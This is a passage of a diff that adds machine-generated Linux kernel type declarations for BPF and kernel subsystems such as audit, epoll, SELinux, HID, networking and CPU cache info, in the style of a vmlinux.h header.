audit_chunk *c[31]; +}; + +struct audit_aux_data_pids { + struct audit_aux_data d; + pid_t target_pid[16]; + kuid_t target_auid[16]; + kuid_t target_uid[16]; + unsigned int target_sessionid[16]; + u32 target_sid[16]; + char target_comm[256]; + int pid_count; +}; + +struct audit_aux_data_bprm_fcaps { + struct audit_aux_data d; + struct audit_cap_data fcap; + unsigned int fcap_ver; + struct audit_cap_data old_pcap; + struct audit_cap_data new_pcap; +}; + +struct audit_nfcfgop_tab { + enum audit_nfcfgop op; + const char *s; +}; + +struct syscall_trace_enter { + struct trace_entry ent; + int nr; + long unsigned int args[0]; +}; + +struct syscall_trace_exit { + struct trace_entry ent; + int nr; + long int ret; +}; + +struct syscall_tp_t { + long long unsigned int regs; + long unsigned int syscall_nr; + long unsigned int ret; +}; + +struct syscall_tp_t___2 { + long long unsigned int regs; + long unsigned int syscall_nr; + long unsigned int args[6]; +}; + +enum { + BPF_F_INDEX_MASK = 4294967295ULL, + BPF_F_CURRENT_CPU = 4294967295ULL, + BPF_F_CTXLEN_MASK = 4503595332403200ULL, +}; + +struct bpf_spin_lock { + __u32 val; +}; + +struct bpf_timer { + long: 64; + long: 64; +}; + +struct bpf_dynptr { + long: 64; + long: 64; +}; + +struct bpf_list_head { + long: 64; + long: 64; +}; + +struct bpf_list_node { + long: 64; + long: 64; +}; + +struct bpf_rb_root { + long: 64; + long: 64; +}; + +struct bpf_rb_node { + long: 64; + long: 64; + long: 64; +}; + +struct bpf_refcount { + int: 32; +}; + +struct bpf_pidns_info { + __u32 pid; + __u32 tgid; +}; + +enum { + BPF_F_TIMER_ABS = 1, +}; + +struct bpf_dynptr_kern { + void *data; + u32 size; + u32 offset; +}; + +typedef u64 (*btf_bpf_map_lookup_elem)(struct bpf_map *, void *); + +typedef u64 (*btf_bpf_map_update_elem)(struct bpf_map *, void *, void *, u64); + +typedef u64 (*btf_bpf_map_delete_elem)(struct bpf_map *, void *); + +typedef u64 (*btf_bpf_map_push_elem)(struct bpf_map *, void *, u64); + +typedef u64 (*btf_bpf_map_pop_elem)(struct bpf_map *, void *); + +typedef u64 (*btf_bpf_map_peek_elem)(struct bpf_map *, void *); + +typedef u64 (*btf_bpf_map_lookup_percpu_elem)(struct bpf_map *, void *, u32); + +typedef u64 (*btf_bpf_get_smp_processor_id)(); + +typedef u64 (*btf_bpf_get_numa_node_id)(); + +typedef u64 (*btf_bpf_ktime_get_ns)(); + +typedef u64 (*btf_bpf_ktime_get_boot_ns)(); + +typedef u64 (*btf_bpf_ktime_get_coarse_ns)(); + +typedef u64 (*btf_bpf_ktime_get_tai_ns)(); + +typedef u64 (*btf_bpf_get_current_pid_tgid)(); + +typedef u64 (*btf_bpf_get_current_uid_gid)(); + +typedef u64 (*btf_bpf_get_current_comm)(char *, u32); + +typedef u64 (*btf_bpf_spin_lock)(struct bpf_spin_lock *); + +typedef u64 (*btf_bpf_spin_unlock)(struct bpf_spin_lock *); + +typedef u64 (*btf_bpf_jiffies64)(); + +typedef u64 (*btf_bpf_get_current_cgroup_id)(); + +typedef u64 (*btf_bpf_get_current_ancestor_cgroup_id)(int); + +typedef u64 (*btf_bpf_strtol)(const char *, size_t, u64, long int *); + +typedef u64 (*btf_bpf_strtoul)(const char *, size_t, u64, long unsigned int *); + +typedef u64 (*btf_bpf_strncmp)(const char *, u32, const char *); + +typedef u64 (*btf_bpf_get_ns_current_pid_tgid)(u64, u64, struct bpf_pidns_info *, u32); + +typedef u64 (*btf_bpf_event_output_data)(void *, struct bpf_map *, u64, void *, u64); + +typedef u64 (*btf_bpf_copy_from_user)(void *, u32, const void *); + +typedef u64 (*btf_bpf_copy_from_user_task)(void *, u32, const void *, struct task_struct *, u64); + +typedef u64 (*btf_bpf_per_cpu_ptr)(const void *, u32); + +typedef u64 (*btf_bpf_this_cpu_ptr)(const void *); + +struct bpf_bprintf_buffers { + char bin_args[512]; + char buf[1024]; +}; + +typedef u64 (*btf_bpf_snprintf)(char *, u32, char *, const void *, u32); + +struct bpf_hrtimer { + struct hrtimer timer; + struct bpf_map *map; + struct bpf_prog *prog; + void *callback_fn; + void *value; +}; + +struct bpf_timer_kern { + struct bpf_hrtimer *timer; + struct bpf_spin_lock lock; +}; + +typedef u64 (*btf_bpf_timer_init)(struct bpf_timer_kern *, struct bpf_map *, u64); + +typedef u64 (*btf_bpf_timer_set_callback)(struct bpf_timer_kern *, void *, struct bpf_prog_aux *); + +typedef u64 (*btf_bpf_timer_start)(struct bpf_timer_kern *, u64, u64); + +typedef u64 (*btf_bpf_timer_cancel)(struct bpf_timer_kern *); + +typedef u64 (*btf_bpf_kptr_xchg)(void *, void *); + +typedef u64 (*btf_bpf_dynptr_from_mem)(void *, u32, u64, struct bpf_dynptr_kern *); + +typedef u64 (*btf_bpf_dynptr_read)(void *, u32, const struct bpf_dynptr_kern *, u32, u64); + +typedef u64 (*btf_bpf_dynptr_write)(const struct bpf_dynptr_kern *, u32, void *, u32, u64); + +typedef u64 (*btf_bpf_dynptr_data)(const struct bpf_dynptr_kern *, u32, u32); + +struct contig_page_info { + long unsigned int free_pages; + long unsigned int free_blocks_total; + long unsigned int free_blocks_suitable; +}; + +struct epoll_filefd { + struct file *file; + int fd; +} __attribute__((packed)); + +struct epitem; + +struct eppoll_entry { + struct eppoll_entry *next; + struct epitem *base; + wait_queue_entry_t wait; + wait_queue_head_t *whead; +}; + +struct eventpoll; + +struct epitem { + union { + struct rb_node rbn; + struct callback_head rcu; + }; + struct list_head rdllink; + struct epitem *next; + struct epoll_filefd ffd; + bool dying; + struct eppoll_entry *pwqlist; + struct eventpoll *ep; + struct hlist_node fllink; + struct wakeup_source *ws; + struct epoll_event event; +}; + +struct eventpoll { + struct mutex mtx; + wait_queue_head_t wq; + wait_queue_head_t poll_wait; + struct list_head rdllist; + rwlock_t lock; + struct rb_root_cached rbr; + struct epitem *ovflist; + struct wakeup_source *ws; + struct user_struct *user; + struct file *file; + u64 gen; + struct hlist_head refs; + refcount_t refcount; + unsigned int napi_id; + u8 nests; +}; + +struct ep_pqueue { + poll_table pt; + struct epitem *epi; +}; + +struct epitems_head { + struct hlist_head epitems; + struct epitems_head *next; +}; + +enum SHIFT_DIRECTION { + SHIFT_LEFT = 0, + SHIFT_RIGHT = 1, +}; + +struct ext4_extent_tail { + __le32 et_checksum; +}; + +struct trace_event_raw_selinux_audited { + struct trace_entry ent; + u32 requested; + u32 denied; + u32 audited; + int result; + u32 __data_loc_scontext; + u32 __data_loc_tcontext; + u32 __data_loc_tclass; + char __data[0]; +}; + +struct trace_event_data_offsets_selinux_audited { + u32 scontext; + u32 tcontext; + u32 tclass; +}; + +typedef void (*btf_trace_selinux_audited)(void *, struct selinux_audit_data *, char *, char *, const char *); + +struct avc_xperms_node; + +struct avc_entry { + u32 ssid; + u32 tsid; + u16 tclass; + struct av_decision avd; + struct avc_xperms_node *xp_node; +}; + +struct avc_xperms_node { + struct extended_perms xp; + struct list_head xpd_head; +}; + +struct avc_node { + struct avc_entry ae; + struct hlist_node list; + struct callback_head rhead; +}; + +struct avc_xperms_decision_node { + struct extended_perms_decision xpd; + struct list_head xpd_list; +}; + +struct avc_cache { + struct hlist_head slots[512]; + spinlock_t slots_lock[512]; + atomic_t lru_hint; + atomic_t active_nodes; + u32 latest_notif; +}; + +struct avc_callback_node { + int (*callback)(u32); + u32 events; + struct avc_callback_node *next; +}; + +struct selinux_avc { + unsigned int avc_cache_threshold; + struct avc_cache avc_cache; +}; + +struct crypto_aes_ctx { + u32 key_enc[60]; + u32 key_dec[60]; + u32 key_length; +}; + +enum { + REQ_FSEQ_PREFLUSH = 1, + REQ_FSEQ_DATA = 2, + REQ_FSEQ_POSTFLUSH = 4, + REQ_FSEQ_DONE = 8, + REQ_FSEQ_ACTIONS = 7, + FLUSH_PENDING_TIMEOUT = 5000, +}; + +struct fat_boot_sector { + __u8 ignored[3]; + __u8 system_id[8]; + __u8 sector_size[2]; + __u8 sec_per_clus; + __le16 reserved; + __u8 fats; + __u8 dir_entries[2]; + __u8 sectors[2]; + __u8 media; + __le16 fat_length; + __le16 secs_track; + __le16 heads; + __le32 hidden; + __le32 total_sect; + union { + struct { + __u8 drive_number; + __u8 state; + __u8 signature; + __u8 vol_id[4]; + __u8 vol_label[11]; + __u8 fs_type[8]; + } fat16; + struct { + __le32 length; + __le16 flags; + __u8 version[2]; + __le32 root_cluster; + __le16 info_sector; + __le16 backup_boot; + __le16 reserved2[6]; + __u8 drive_number; + __u8 state; + __u8 signature; + __u8 vol_id[4]; + __u8 vol_label[11]; + __u8 fs_type[8]; + } fat32; + }; +}; + +struct msdos_partition { + u8 boot_ind; + u8 head; + u8 sector; + u8 cyl; + u8 sys_ind; + u8 end_head; + u8 end_sector; + u8 end_cyl; + __le32 start_sect; + __le32 nr_sects; +}; + +enum msdos_sys_ind { + DOS_EXTENDED_PARTITION = 5, + LINUX_EXTENDED_PARTITION = 133, + WIN98_EXTENDED_PARTITION = 15, + LINUX_DATA_PARTITION = 131, + LINUX_LVM_PARTITION = 142, + LINUX_RAID_PARTITION = 253, + SOLARIS_X86_PARTITION = 130, + NEW_SOLARIS_X86_PARTITION = 191, + DM6_AUX1PARTITION = 81, + DM6_AUX3PARTITION = 83, + DM6_PARTITION = 84, + EZD_PARTITION = 85, + FREEBSD_PARTITION = 165, + OPENBSD_PARTITION = 166, + NETBSD_PARTITION = 169, + BSDI_PARTITION = 183, + MINIX_PARTITION = 129, + UNIXWARE_PARTITION = 99, +}; + +struct solaris_x86_slice { + __le16 s_tag; + __le16 s_flag; + __le32 s_start; + __le32 s_size; +}; + +struct solaris_x86_vtoc { + unsigned int v_bootinfo[3]; + __le32 v_sanity; + __le32 v_version; + char v_volume[8]; + __le16 v_sectorsz; + __le16 v_nparts; + unsigned int v_reserved[10]; + struct solaris_x86_slice v_slice[16]; + unsigned int timestamp[16]; + char v_asciilabel[128]; +}; + +struct bsd_partition { + __le32 p_size; + __le32 p_offset; + __le32 p_fsize; + __u8 p_fstype; + __u8 p_frag; + __le16 p_cpg; +}; + +struct bsd_disklabel { + __le32 d_magic; + __s16 d_type; + __s16 d_subtype; + char d_typename[16]; + char d_packname[16]; + __u32 d_secsize; + __u32 d_nsectors; + __u32 d_ntracks; + __u32 d_ncylinders; + __u32 d_secpercyl; + __u32 d_secperunit; + __u16 d_sparespertrack; + __u16 d_sparespercyl; + __u32 d_acylinders; + __u16 d_rpm; + __u16 d_interleave; + __u16 d_trackskew; + __u16 d_cylskew; + __u32 d_headswitch; + __u32 d_trkseek; + __u32 d_flags; + __u32 d_drivedata[5]; + __u32 d_spare[5]; + __le32 d_magic2; + __le16 d_checksum; + __le16 d_npartitions; + __le32 d_bbsize; + __le32 d_sbsize; + struct bsd_partition d_partitions[16]; +}; + +struct unixware_slice { + __le16 s_label; + __le16 s_flags; + __le32 start_sect; + __le32 nr_sects; +}; + +struct unixware_vtoc { + __le32 v_magic; + __le32 v_version; + char v_name[8]; + __le16 v_nslices; + __le16 v_unknown1; + __le32 v_reserved[10]; + struct unixware_slice v_slice[16]; +}; + +struct unixware_disklabel { + __le32 d_type; + __le32 d_magic; + __le32 d_version; + char d_serial[12]; + __le32 d_ncylinders; + __le32 d_ntracks; + __le32 d_nsectors; + __le32 d_secsize; + __le32 d_part_start; + __le32 d_unknown1[12]; + __le32 d_alt_tbl; + __le32 d_alt_len; + __le32 d_phys_cyl; + __le32 d_phys_trk; + __le32 d_phys_sec; + __le32 d_phys_bytes; + __le32 d_unknown2; + __le32 d_unknown3; + __le32 d_pad[8]; + struct unixware_vtoc vtoc; +}; + +struct io_sync { + struct file *file; + loff_t len; + loff_t off; + int flags; + int mode; +}; + +typedef unsigned char Byte; + +typedef long unsigned int uLong; + +struct internal_state; + +struct z_stream_s { + const Byte *next_in; + uLong avail_in; + uLong total_in; + Byte *next_out; + uLong avail_out; + uLong total_out; + char *msg; + struct internal_state *state; + void *workspace; + int data_type; + uLong adler; + uLong reserved; +}; + +struct regulator; + +struct phy_configure_opts_dp { + unsigned int link_rate; + unsigned int lanes; + unsigned int voltage[4]; + unsigned int pre[4]; + u8 ssc: 1; + u8 set_rate: 1; + u8 set_lanes: 1; + u8 set_voltages: 1; +}; + +struct phy_configure_opts_lvds { + unsigned int bits_per_lane_and_dclk_cycle; + long unsigned int differential_clk_rate; + unsigned int lanes; + bool is_slave; +}; + +struct phy_configure_opts_mipi_dphy { + unsigned int clk_miss; + unsigned int clk_post; + unsigned int clk_pre; + unsigned int clk_prepare; + unsigned int clk_settle; + unsigned int clk_term_en; + unsigned int clk_trail; + unsigned int clk_zero; + unsigned int d_term_en; + unsigned int eot; + unsigned int hs_exit; + unsigned int hs_prepare; + unsigned int hs_settle; + unsigned int hs_skip; + unsigned int hs_trail; + unsigned int hs_zero; + unsigned int init; + unsigned int lpx; + unsigned int ta_get; + unsigned int ta_go; + unsigned int ta_sure; + unsigned int wakeup; + long unsigned int hs_clk_rate; + long unsigned int lp_clk_rate; + unsigned char lanes; +}; + +enum phy_mode { + PHY_MODE_INVALID = 0, + PHY_MODE_USB_HOST = 1, + PHY_MODE_USB_HOST_LS = 2, + PHY_MODE_USB_HOST_FS = 3, + PHY_MODE_USB_HOST_HS = 4, + PHY_MODE_USB_HOST_SS = 5, + PHY_MODE_USB_DEVICE = 6, + PHY_MODE_USB_DEVICE_LS = 7, + PHY_MODE_USB_DEVICE_FS = 8, + PHY_MODE_USB_DEVICE_HS = 9, + PHY_MODE_USB_DEVICE_SS = 10, + PHY_MODE_USB_OTG = 11, + PHY_MODE_UFS_HS_A = 12, + PHY_MODE_UFS_HS_B = 13, + PHY_MODE_PCIE = 14, + PHY_MODE_ETHERNET = 15, + PHY_MODE_MIPI_DPHY = 16, + PHY_MODE_SATA = 17, + PHY_MODE_LVDS = 18, + PHY_MODE_DP = 19, +}; + +enum phy_media { + PHY_MEDIA_DEFAULT = 0, + PHY_MEDIA_SR = 1, + PHY_MEDIA_DAC = 2, +}; + +union phy_configure_opts { + struct phy_configure_opts_mipi_dphy mipi_dphy; + struct phy_configure_opts_dp dp; + struct phy_configure_opts_lvds lvds; +}; + +struct phy; + +struct phy_ops { + int (*init)(struct phy *); + int (*exit)(struct phy *); + int (*power_on)(struct phy *); + int (*power_off)(struct phy *); + int (*set_mode)(struct phy *, enum phy_mode, int); + int (*set_media)(struct phy *, enum phy_media); + int (*set_speed)(struct phy *, int); + int (*configure)(struct phy *, union phy_configure_opts *); + int (*validate)(struct phy *, enum phy_mode, int, union phy_configure_opts *); + int (*reset)(struct phy *); + int (*calibrate)(struct phy *); + void (*release)(struct phy *); + struct module *owner; +}; + +struct phy_attrs { + u32 bus_width; + u32 max_link_rate; + enum phy_mode mode; +}; + +struct phy { + struct device dev; + int id; + const struct phy_ops *ops; + struct mutex mutex; + int init_count; + int power_count; + struct phy_attrs attrs; + struct regulator *pwr; +}; + +struct phy_provider { + struct device *dev; + struct device_node *children; + struct module *owner; + struct list_head list; + struct phy * (*of_xlate)(struct device *, struct of_phandle_args *); +}; + +struct phy_lookup { + struct list_head node; + const char *dev_id; + const char *con_id; + struct phy *phy; +}; + +enum dmi_device_type { + DMI_DEV_TYPE_ANY = 0, + DMI_DEV_TYPE_OTHER = 1, + DMI_DEV_TYPE_UNKNOWN = 2, + DMI_DEV_TYPE_VIDEO = 3, + DMI_DEV_TYPE_SCSI = 4, + DMI_DEV_TYPE_ETHERNET = 5, + DMI_DEV_TYPE_TOKENRING = 6, + DMI_DEV_TYPE_SOUND = 7, + DMI_DEV_TYPE_PATA = 8, + DMI_DEV_TYPE_SATA = 9, + DMI_DEV_TYPE_SAS = 10, + DMI_DEV_TYPE_IPMI = -1, + DMI_DEV_TYPE_OEM_STRING = -2, + DMI_DEV_TYPE_DEV_ONBOARD = -3, + DMI_DEV_TYPE_DEV_SLOT = -4, +}; + +struct dmi_device { + struct list_head list; + int type; + const char *name; + void *device_data; +}; + +struct dmi_dev_onboard { + struct dmi_device dev; + int instance; + int segment; + int bus; + int devfn; +}; + +enum utf16_endian { + UTF16_HOST_ENDIAN = 0, + UTF16_LITTLE_ENDIAN = 1, + UTF16_BIG_ENDIAN = 2, +}; + +enum smbios_attr_enum { + SMBIOS_ATTR_NONE = 0, + SMBIOS_ATTR_LABEL_SHOW = 1, + SMBIOS_ATTR_INSTANCE_SHOW = 2, +}; + +enum acpi_attr_enum { + ACPI_ATTR_LABEL_SHOW = 0, + ACPI_ATTR_INDEX_SHOW = 1, +}; + +struct acpi_osi_entry { + char string[64]; + bool enable; +}; + +struct acpi_osi_config { + u8 default_disabling; + unsigned int linux_enable: 1; + unsigned int linux_dmi: 1; + unsigned int linux_cmdline: 1; + unsigned int darwin_enable: 1; + unsigned int darwin_dmi: 1; + unsigned int darwin_cmdline: 1; +}; + +struct tty_audit_buf { + struct mutex mutex; + dev_t dev; + unsigned int icanon: 1; + size_t valid; + unsigned char *data; +}; + +struct internal_container { + struct klist_node node; + struct attribute_container *cont; + struct device classdev; +}; + +struct netdev_nested_priv { + unsigned char flags; + void *data; +}; + +struct bond_vlan_tag { + __be16 vlan_proto; + short unsigned int vlan_id; +}; + +struct learning_pkt { + u8 mac_dst[6]; + u8 mac_src[6]; + __be16 type; + u8 padding[46]; +}; + +struct arp_pkt { + __be16 hw_addr_space; + __be16 prot_addr_space; + u8 hw_addr_len; + u8 prot_addr_len; + __be16 op_code; + u8 mac_src[6]; + __be32 ip_src; + u8 mac_dst[6]; + __be32 ip_dst; +} __attribute__((packed)); + +struct alb_walk_data { + struct bonding *bond; + struct slave *slave; + const u8 *mac_addr; + bool strict_match; +}; + +struct cytp_contact { + int x; + int y; + int z; +}; + +struct cytp_report_data { + int contact_cnt; + struct cytp_contact contacts[2]; + unsigned int left: 1; + unsigned int right: 1; + unsigned int middle: 1; + unsigned int tap: 1; +}; + +struct cytp_data { + int fw_version; + int pkt_size; + int mode; + int tp_min_pressure; + int tp_max_pressure; + int tp_width; + int tp_high; + int tp_max_abs_x; + int tp_max_abs_y; + int tp_res_x; + int tp_res_y; + int tp_metrics_supported; +}; + +struct loopback_dev { + struct rc_dev *dev; + u32 txmask; + u32 txcarrier; + u32 txduty; + bool idle; + bool wideband; + bool carrierreport; + u32 rxcarriermin; + u32 rxcarriermax; +}; + +struct powernow_k8_data { + unsigned int cpu; + u32 numps; + u32 batps; + u32 rvo; + u32 irt; + u32 vidmvs; + u32 vstable; + u32 plllock; + u32 exttype; + u32 currvid; + u32 currfid; + struct cpufreq_frequency_table *powernow_table; + struct acpi_processor_performance acpi_data; + struct cpumask *available_cores; +}; + +struct psb_s { + u8 signature[10]; + u8 tableversion; + u8 flags1; + u16 vstable; + u8 flags2; + u8 num_tables; + u32 cpuid; + u8 plllocktime; + u8 maxfid; + u8 maxvid; + u8 numps; +}; + +struct pst_s { + u8 fid; + u8 vid; +}; + +struct powernowk8_target_arg { + struct cpufreq_policy *pol; + unsigned int newstate; +}; + +struct init_on_cpu { + struct powernow_k8_data *data; + int rc; +}; + +struct hid_item { + unsigned int format; + __u8 size; + __u8 type; + __u8 tag; + union { + __u8 u8; + __s8 s8; + __u16 u16; + __s16 s16; + __u32 u32; + __s32 s32; + __u8 *longdata; + } data; +}; + +struct hid_global { + unsigned int usage_page; + __s32 logical_minimum; + __s32 logical_maximum; + __s32 physical_minimum; + __s32 physical_maximum; + __s32 unit_exponent; + unsigned int unit; + unsigned int report_id; + unsigned int report_size; + unsigned int report_count; +}; + +struct hid_local { + unsigned int usage[12288]; + u8 usage_size[12288]; + unsigned int collection_index[12288]; + unsigned int usage_index; + unsigned int usage_minimum; + unsigned int delimiter_depth; + unsigned int delimiter_branch; +}; + +struct hid_parser { + struct hid_global global; + struct hid_global global_stack[4]; + unsigned int global_stack_ptr; + struct hid_local local; + unsigned int *collection_stack; + unsigned int collection_stack_ptr; + unsigned int collection_stack_size; + struct hid_device *device; + unsigned int scan_flags; +}; + +struct hiddev { + int minor; + int exist; + int open; + struct mutex existancelock; + wait_queue_head_t wait; + struct hid_device *hid; + struct list_head list; + spinlock_t list_lock; + bool initialized; +}; + +struct hidraw { + unsigned int minor; + int exist; + int open; + wait_queue_head_t wait; + struct hid_device *hid; + struct device *dev; + spinlock_t list_lock; + struct list_head list; +}; + +struct hid_dynid { + struct list_head list; + struct hid_device_id id; +}; + +struct net_device_devres { + struct net_device *ndev; +}; + +struct fib_notifier_net { + struct list_head fib_notifier_ops; + struct atomic_notifier_head fib_chain; +}; + +enum netdev_lag_tx_type { + NETDEV_LAG_TX_TYPE_UNKNOWN = 0, + NETDEV_LAG_TX_TYPE_RANDOM = 1, + NETDEV_LAG_TX_TYPE_BROADCAST = 2, + NETDEV_LAG_TX_TYPE_ROUNDROBIN = 3, + NETDEV_LAG_TX_TYPE_ACTIVEBACKUP = 4, + NETDEV_LAG_TX_TYPE_HASH = 5, +}; + +enum netdev_lag_hash { + NETDEV_LAG_HASH_NONE = 0, + NETDEV_LAG_HASH_L2 = 1, + NETDEV_LAG_HASH_L34 = 2, + NETDEV_LAG_HASH_L23 = 3, + NETDEV_LAG_HASH_E23 = 4, + NETDEV_LAG_HASH_E34 = 5, + NETDEV_LAG_HASH_VLAN_SRCMAC = 6, + NETDEV_LAG_HASH_UNKNOWN = 7, +}; + +struct netdev_lag_upper_info { + enum netdev_lag_tx_type tx_type; + enum netdev_lag_hash hash_type; +}; + +struct tcamsg { + unsigned char tca_family; + unsigned char tca__pad1; + short unsigned int tca__pad2; +}; + +enum { + TCA_ROOT_UNSPEC = 0, + TCA_ROOT_TAB = 1, + TCA_ROOT_FLAGS = 2, + TCA_ROOT_COUNT = 3, + TCA_ROOT_TIME_DELTA = 4, + TCA_ROOT_EXT_WARN_MSG = 5, + __TCA_ROOT_MAX = 6, +}; + +struct tc_action_net { + struct tcf_idrinfo *idrinfo; + const struct tc_action_ops *ops; +}; + +struct tc_act_pernet_id { + struct list_head list; + unsigned int id; +}; + +enum { + ETHTOOL_A_STATS_GRP_UNSPEC = 0, + ETHTOOL_A_STATS_GRP_PAD = 1, + ETHTOOL_A_STATS_GRP_ID = 2, + ETHTOOL_A_STATS_GRP_SS_ID = 3, + ETHTOOL_A_STATS_GRP_STAT = 4, + ETHTOOL_A_STATS_GRP_HIST_RX = 5, + ETHTOOL_A_STATS_GRP_HIST_TX = 6, + ETHTOOL_A_STATS_GRP_HIST_BKT_LOW = 7, + ETHTOOL_A_STATS_GRP_HIST_BKT_HI = 8, + ETHTOOL_A_STATS_GRP_HIST_VAL = 9, + __ETHTOOL_A_STATS_GRP_CNT = 10, + ETHTOOL_A_STATS_GRP_MAX = 5, +}; + +struct stats_req_info { + struct ethnl_req_info base; + long unsigned int stat_mask[1]; + enum ethtool_mac_stats_src src; +}; + +struct stats_reply_data { + struct ethnl_reply_data base; + union { + struct { + struct ethtool_eth_phy_stats phy_stats; + struct ethtool_eth_mac_stats mac_stats; + struct ethtool_eth_ctrl_stats ctrl_stats; + struct ethtool_rmon_stats rmon_stats; + }; + struct { + struct ethtool_eth_phy_stats phy_stats; + struct ethtool_eth_mac_stats mac_stats; + struct ethtool_eth_ctrl_stats ctrl_stats; + struct ethtool_rmon_stats rmon_stats; + } stats; + }; + const struct ethtool_rmon_hist_range *rmon_ranges; +}; + +union nf_conntrack_nat_help {}; + +struct nf_conn_nat { + union nf_conntrack_nat_help help; +}; + +struct nf_nat_lookup_hook_priv { + struct nf_hook_entries *entries; + struct callback_head callback_head; +}; + +struct nf_nat_hooks_net { + struct nf_hook_ops *nat_hook_ops; + unsigned int users; +}; + +struct nat_net { + struct nf_nat_hooks_net nat_proto_net[11]; +}; + +struct nf_nat_proto_clean { + u8 l3proto; + u8 l4proto; +}; + +struct mptcp_info { + __u8 mptcpi_subflows; + __u8 mptcpi_add_addr_signal; + __u8 mptcpi_add_addr_accepted; + __u8 mptcpi_subflows_max; + __u8 mptcpi_add_addr_signal_max; + __u8 mptcpi_add_addr_accepted_max; + __u32 mptcpi_flags; + __u32 mptcpi_token; + __u64 mptcpi_write_seq; + __u64 mptcpi_snd_una; + __u64 mptcpi_rcv_nxt; + __u8 mptcpi_local_addr_used; + __u8 mptcpi_local_addr_max; + __u8 mptcpi_csum_enabled; +}; + +struct mptcp_diag_ctx { + long int s_slot; + long int s_num; + unsigned int l_slot; + unsigned int l_num; +}; + +struct branch_entry { + union { + struct { + u64 ip: 58; + u64 ip_sign_ext: 5; + u64 mispredict: 1; + } split; + u64 full; + } from; + union { + struct { + u64 ip: 58; + u64 ip_sign_ext: 3; + u64 reserved: 1; + u64 spec: 1; + u64 valid: 1; + } split; + u64 full; + } to; +}; + +struct uncore_global_discovery { + union { + u64 table1; + struct { + u64 type: 8; + u64 stride: 8; + u64 max_units: 10; + u64 __reserved_1: 36; + u64 access_type: 2; + }; + }; + u64 ctl; + union { + u64 table3; + struct { + u64 status_offset: 8; + u64 num_status: 16; + u64 __reserved_2: 40; + }; + }; +}; + +struct uncore_unit_discovery { + union { + u64 table1; + struct { + u64 num_regs: 8; + u64 ctl_offset: 8; + u64 bit_width: 8; + u64 ctr_offset: 8; + u64 status_offset: 8; + u64 __reserved_1: 22; + u64 access_type: 2; + }; + }; + u64 ctl; + union { + u64 table3; + struct { + u64 box_type: 16; + u64 box_id: 16; + u64 __reserved_2: 32; + }; + }; +}; + +struct intel_uncore_discovery_type { + struct rb_node node; + enum uncore_access_type access_type; + u64 box_ctrl; + u64 *box_ctrl_die; + u16 type; + u8 num_counters; + u8 counter_width; + u8 ctl_offset; + u8 ctr_offset; + u16 num_boxes; + unsigned int *ids; + unsigned int *box_offset; +}; + +struct _cache_table { + unsigned char descriptor; + char cache_type; + short int size; +}; + +enum _cache_type { + CTYPE_NULL = 0, + CTYPE_DATA = 1, + CTYPE_INST = 2, + CTYPE_UNIFIED = 3, +}; + +union _cpuid4_leaf_eax { + struct { + enum _cache_type type: 5; + unsigned int level: 3; + unsigned int is_self_initializing: 1; + unsigned int is_fully_associative: 1; + unsigned int reserved: 4; + unsigned int num_threads_sharing: 12; + unsigned int num_cores_on_die: 6; + } split; + u32 full; +}; + +union _cpuid4_leaf_ebx { + struct { + unsigned int coherency_line_size: 12; + unsigned int physical_line_partition: 10; + unsigned int ways_of_associativity: 10; + } split; + u32 full; +}; + +union _cpuid4_leaf_ecx { + struct { + unsigned int number_of_sets: 32; + } split; + u32 full; +}; + +struct _cpuid4_info_regs { + union _cpuid4_leaf_eax eax; + union _cpuid4_leaf_ebx ebx; + union _cpuid4_leaf_ecx ecx; + unsigned int id; + long unsigned int size; + struct amd_northbridge *nb; +}; + +union l1_cache { + struct { + unsigned int line_size: 8; + unsigned int lines_per_tag: 8; + unsigned int assoc: 8; + unsigned int size_in_kb: 8; + }; + unsigned int val; +}; + +union l2_cache { + struct { + unsigned int line_size: 8; + unsigned int lines_per_tag: 4; + unsigned int assoc: 4; + unsigned int size_in_kb: 16; + }; + unsigned int val; +}; + +union l3_cache { + struct { + unsigned int line_size: 8; + unsigned int lines_per_tag: 4; + unsigned int assoc: 4; + unsigned int res: 2; + unsigned int size_encoded: 14; + }; + unsigned int val; +}; + +struct fixed_range_block { + int base_msr; + int ranges; +}; + +enum { + KERNEL_PARAM_OPS_FL_NOARG = 1, +}; + +struct param_attribute { + struct module_attribute mattr; + const struct kernel_param *param; +}; + +struct module_param_attrs { + unsigned int num; + struct attribute_group grp; + struct param_attribute attrs[0]; +}; + +struct kmalloced_param { + struct list_head list; + char val[0]; +}; + +struct optimistic_spin_node { + struct optimistic_spin_node *next; + struct optimistic_spin_node *prev; + int locked; + int cpu; +}; + +struct io_tlb_area { + long unsigned int used; + unsigned int index; + spinlock_t lock; +}; + +struct io_tlb_slot { + phys_addr_t orig_addr; + size_t alloc_size; + unsigned int list; +}; + +struct trace_event_raw_swiotlb_bounced { + struct trace_entry ent; + u32 __data_loc_dev_name; + u64 dma_mask; + dma_addr_t dev_addr; + size_t size; + bool force; + char __data[0]; +}; + +struct trace_event_data_offsets_swiotlb_bounced { + u32 dev_name; +}; + +typedef void (*btf_trace_swiotlb_bounced)(void *, struct device *, dma_addr_t, size_t); + +enum { + TASKSTATS_TYPE_UNSPEC = 0, + TASKSTATS_TYPE_PID = 1, + TASKSTATS_TYPE_TGID = 2, + TASKSTATS_TYPE_STATS = 3, + TASKSTATS_TYPE_AGGR_PID = 4, + TASKSTATS_TYPE_AGGR_TGID = 5, + TASKSTATS_TYPE_NULL = 6, + __TASKSTATS_TYPE_MAX = 7, +}; + +enum { + TASKSTATS_CMD_ATTR_UNSPEC = 0, + TASKSTATS_CMD_ATTR_PID = 1, + TASKSTATS_CMD_ATTR_TGID = 2, + TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 3, + TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 4, + __TASKSTATS_CMD_ATTR_MAX = 5, +}; + +struct cgroupstats { + __u64 nr_sleeping; + __u64 nr_running; + __u64 nr_stopped; + __u64 nr_uninterruptible; + __u64 nr_io_wait; +}; + +enum { + CGROUPSTATS_CMD_UNSPEC = 3, + CGROUPSTATS_CMD_GET = 4, + CGROUPSTATS_CMD_NEW = 5, + __CGROUPSTATS_CMD_MAX = 6, +}; + +enum { + CGROUPSTATS_TYPE_UNSPEC = 0, + CGROUPSTATS_TYPE_CGROUP_STATS = 1, + __CGROUPSTATS_TYPE_MAX = 2, +}; + +enum { + CGROUPSTATS_CMD_ATTR_UNSPEC = 0, + CGROUPSTATS_CMD_ATTR_FD = 1, + __CGROUPSTATS_CMD_ATTR_MAX = 2, +}; + +struct listener { + struct list_head list; + pid_t pid; + char valid; +}; + +struct listener_list { + struct rw_semaphore sem; + struct list_head list; +}; + +enum actions { + REGISTER = 0, + DEREGISTER = 1, + 